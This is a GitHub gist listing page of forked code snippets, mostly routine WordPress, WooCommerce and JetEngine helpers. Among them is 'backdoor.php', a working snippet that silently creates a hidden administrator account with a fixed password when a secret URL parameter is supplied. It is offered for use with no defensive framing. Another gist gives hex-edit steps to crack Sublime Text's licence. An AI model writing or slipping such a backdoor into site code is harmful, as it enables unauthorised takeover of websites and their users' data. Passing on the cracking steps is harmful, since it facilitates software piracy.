Skip to content

Instantly share code, notes, and snippets.

@MakiOmar
MakiOmar / cacheable-ajax.php
Created November 13, 2024 05:32 — forked from c3mdigital/cacheable-ajax.php
Example of how to cache fronted ajax requests in WordPress. This will allow you to use ajax and page caching like varnish or redis. Where ajax requests would normally not be cached using the built in wp_ajax_action method.
<?php
add_filter( 'rewrite_rules_array', 'cache_frontend_ajax_rules' );
/**
* Rewrite rules filter to add rules for front end ajax calls
*
* @param array $rewrite_rules
*
* @return array
*/
@MakiOmar
MakiOmar / WPGeoQuery.md
Created February 1, 2023 03:53 — forked from jackabox/WPGeoQuery.md
WordPress Geo Location Query

WP Geo Query

Quick and easy class created to modify the WP_Query on specific calls and pull in all posts within a radius from a given latitude and longitude.

@MakiOmar
MakiOmar / macro-example.php
Created January 17, 2023 08:38 — forked from Crocoblock/macro-example.php
Add custom macro for JetEngine. Example - get the current user property, such as ID, user_email, etc.
<?php
/**
* Note!
* Register macros on jet-engine/register-macros action only,
* as the base macro class \Jet_Engine_Base_Macros is not available before that action;
* after it - all macros are registered already
*/
add_action( 'jet-engine/register-macros', function(){
@MakiOmar
MakiOmar / options-values-in-code.php
Created December 24, 2022 17:38 — forked from MjHead/options-values-in-code.php
Get option values for JetEngine options pages inside the PHP code
<?php
/**
* Method 1
*
* page-slug - replace this with your Option Page slug
* option-name - replace this with your option Name/ID
*/
$value = jet_engine()->listings->data->get_option( 'page-slug::option-name' );
/**
@MakiOmar
MakiOmar / add_billing_address_on_registration_page.php
Created November 20, 2022 17:26 — forked from hemraj7171/add_billing_address_on_registration_page.php
Add Billing fields in registration page WooCommerce
/**
* Add billing fields
*
*/
function my_custom_function(){
global $woocommerce;
$checkout = $woocommerce->checkout();
//print_r($checkout);
$checkout_fields = $checkout->checkout_fields['billing'];
unset( $checkout_fields['billing_email']);
@MakiOmar
MakiOmar / jet-form-builder-shortcode.php
Created November 17, 2022 07:07 — forked from MjHead/jet-form-builder-shortcode.php
Form shortcode for JetFormBuilder
<?php
add_shortcode( 'my_jet_form', 'my_jet_form_shortcode' );
function my_jet_form_shortcode( $atts = array() ) {
$atts = shortcode_atts( array(
'id' => false,
'submit_type' => 'reload', // or ajax
'required_mark' => '*',
@MakiOmar
MakiOmar / backdoor.php
Created December 16, 2020 14:54 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@MakiOmar
MakiOmar / Windows
Created October 21, 2019 06:09 — forked from JerryLokjianming/Crack Sublime Text Windows and Linux.md
Crack Sublime Text 3.2.2 Build 3211
# Subscribe to my YouTube Channel -> https://lokjianming.page.link/CVLm #
How to Crack Sublime Text 3 with Hex Editor
1. Download & Install Sublime Text 3.2.2 Build 3211
2. Visit Hexed.it
3. Open file sublime_text.exe
4. Search address 97 94 0D
5. Change to 00 00 00
6. Export File
@MakiOmar
MakiOmar / wp_config.php
Created October 4, 2019 23:45 — forked from butlerblog/wp_config.php
Configure WordPress wp_mail function to send through SMTP server http://b.utler.co/Y3
<?php
/*
* Set the following constants in wp-config.php
* These should be added somewhere BEFORE the
* constant ABSPATH is defined.
*/
define( 'SMTP_USER', 'user@example.com' ); // Username to use for SMTP authentication
define( 'SMTP_PASS', 'smtp password' ); // Password to use for SMTP authentication
@MakiOmar
MakiOmar / myplugin-media.js
Created September 30, 2019 21:35 — forked from cferdinandi/myplugin-media.js
Adding a Media Uploader to a custom metabox
/**
* Load media uploader on pages with our custom metabox
*/
jQuery(document).ready(function($){
'use strict';
// Instantiates the variable that holds the media library frame.
var metaImageFrame;